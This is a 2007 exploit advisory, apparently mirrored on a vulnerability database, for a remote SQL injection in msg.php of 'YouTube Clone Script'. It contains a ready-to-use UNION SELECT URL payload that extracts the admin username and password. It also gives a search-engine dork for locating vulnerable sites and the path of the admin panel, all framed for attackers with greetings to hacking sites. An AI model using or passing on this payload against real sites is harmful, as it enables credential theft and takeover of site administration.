YouTube Clone Script (msg.php id) Remote SQL Injection Vulnerability

🗓️ 03 Jul 2007 00:00:00Reported by RootType

Remote SQL injection in YouTube Clone Script msg.php id, pull admin user/pas


                                                --==+================================================================================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;YouTube&nbsp;Clone&nbsp;Script&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--



AUTHOR:&nbsp;t0pP8uZz&nbsp;&amp;&nbsp;xprog
SITE:&nbsp;http://www.hispah.com/index.php?act=viewProd&amp;productId=20
DORK:&nbsp;allinurl:&quot;channel_detail.php?chid=&quot;

DESCRIPTION:
Remote&nbsp;SQL&nbsp;injection&nbsp;in&nbsp;msg.php&nbsp;id,&nbsp;able&nbsp;to&nbsp;pull&nbsp;admin&nbsp;user/pass.

EXPLOIT:
http://site.com/path/msg.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,0x7430705038755A7A20616E64207870726F67206F776E616765,convert(concat((SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F6E616D65),0x3a,(SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F70617373))/**/using/**/latin1),4,5,6,7,8,9/*


Tip/Note:
Majority&nbsp;of&nbsp;the&nbsp;sites&nbsp;require&nbsp;login&nbsp;to&nbsp;view&nbsp;msg.php&nbsp;None&nbsp;of&nbsp;the&nbsp;registration&nbsp;info&nbsp;is&nbsp;checked.

Admin&nbsp;Panel&nbsp;is&nbsp;in&nbsp;/siteadmin/



GREETZ:&nbsp;milw0rm.com,&nbsp;H4CKY0u.org,&nbsp;G0t-Root.net&nbsp;!


--==+================================================================================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;YouTube&nbsp;Clone&nbsp;Script&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--

03 Jul 2007 00:00Current

7.1High risk

Vulners AI Score7.1